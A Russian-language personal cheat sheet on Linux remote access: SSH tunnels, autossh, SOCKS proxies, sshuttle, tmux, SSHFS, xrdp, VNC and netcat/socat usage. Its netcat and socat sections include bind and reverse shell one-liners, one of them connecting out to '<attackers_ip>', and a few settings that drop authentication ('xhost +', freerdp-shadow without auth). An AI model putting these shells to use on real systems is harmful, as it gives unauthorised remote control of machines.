autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием



Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel


https://github.com/aktos-io/link-with-server

ssh proxy via host
Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


mosh
https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux
https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf




vi ~/.profile




$ tmux source-file ~/.tmux.conf
кратко
для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux
Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH
http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN
https://github.com/anderspitman/awesome-tunneling
SSH-туннель вместо белого IP: как получить доступ к домашнему серверу
Выполнение UDP-туннелирования через SSH-соединение
VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


доступ к узлам за NAT или с динамическим IP
https://github.com/gjedeer/tuntox
./tuntox -i -L 2222:127.0.0.1:22
ssh -p 2222 myuser@localhost
ssh -o ProxyCommand='./tuntox -i -W localhost:22' gdr@localhost


SSHFS
https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0



установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

Xrdp настройка Xfce sevo44-1



выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh




Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini




echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &


https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini



В пользовательской директории создаем файл .startwm.sh с таким содержимым:



Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow
Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.


Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra
https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup



vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:



если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам



нужно гасить pkill x11vnc



запускать как службу
mcedit /lib/systemd/system/x11vnc.service


systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service



systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service


рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess


Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver


VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера


VPN
ssh VPN
VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN
Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

proxy
Практические советы, примеры и туннели SSH
https://archive.is/tfGcr
SSH-туннели: практические примеры использования и важные функции
Простой браузерный VPN через SSH

ssh -D localhost:2080 -q -C -N root@IP_СЕРВЕРА -p НЕСТАНДАРТНЫЙ_ПОРТ_SSH
-D localhost:2080: устанавливаем локальный прокси-сервер SOCKS5 на вашем компьютере.

опции
-q: тихий режим (quiet mode).
-C: сжатие данных (compression).
-N: указываем SSH не выполнять удалённые команды.
-f — запускает SSH в фоне (после аутентификации возвращает управление терминалу)
-p ПОРТ: указываем нестандартный порт для подключения к удалённому серверу.

проверка
localhost:~$ netstat -pan | grep 2080

чтобы позволить другим программам в нашей сети подключаться к прокси-сервису через ssh socks-прокси, включая ethernet или wifi
ssh -D 0.0.0.0:8888 user@remoteserver

пример
ssh -fND 7001 пользователь@ip_адрес_сервера
chromium --proxy-server=socks5://localhost:7001
-D 7001 — создаёт динамический (SOCKS) прокси на локальном порту 7001

Ограничения
Трафик через туннель проходит только у тех приложений, которые явно настроены на использование прокси. SOCKS5 работает только с TCP-соединениями, UDP не поддерживается

Чтобы предотвратить утечку через WebRTC в Chromium, добавьте флаг:
chromium --proxy-server=socks5://localhost:7001 --disable-webrtc

ssh -fND 7001 пользователь@ip_адрес_сервера
Затем выполните любую команду через proxychains:
proxychains curl ifconfig.me
Предварительно убедитесь, что в файле /etc/proxychains.conf или ~/.proxychains/proxychains.conf указано:
socks5 127.0.0.1 7001

Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done


UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'

запуск
nc -lp 7777
подключение
nc 192.168.88.2 7777

но такое соединение было никак не защищено, поэтому клиенту имело смысл подключаться через SSH:
ssh -fN -L 7777:127.0.0.1:7777 user@192.168.88.2

Для закрытия туннеля можно найти SSH и завершить его:
pkill -f "ssh.*7777:127.0.0.1:7777"

Или прибив процесс, использующий порт 7777:
kill $(lsof -t -i:7777)

Socat
Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

Для начала на первом узле сгенерируем самоподписанный сертификат SSL с помощью криптографического алгоритма RSA с длиной ключа 4096 бит и сроком действия 1 год:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Объявляем себя сервером, ожидающим подключения на порту 7777, шифруя соединение при помощи SSL. Поскольку сертификат «самодельный», проверять его нет смысла, что мы и указываем опцией verify=0:

socat openssl-listen:7777,cert=cert.pem,key=key.pem,verify=0 -

На клиенте достаточно запустить команду:

socat - openssl-connect:192.168.88.2:7777,verify=0

Ncat
Тот же самый Netcat, но лучше, ведь поддерживает SSL. Его разработали для проекта Nmap

ncat --ssl -l 7777

Ncat сам сгенерирует самоподписанный сертификат и запустит сервер на указанном порту. Клиенту будет достаточно подключиться, также добавив опцию --ssl:

ncat --ssl 192.168.88.2 7777

Cryptcat
запуск
cryptcat -l -p 7777 -k verystrongpassword

Опция -l стартует сервис, -p 7777 указывает порт, а -k дает возможность задать пароль для шифрования соединения. Другая сторона должна его ввести, чтобы подключиться:

cryptcat 192.168.88.2 7777 -k verystrongpassword

ссылки
разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
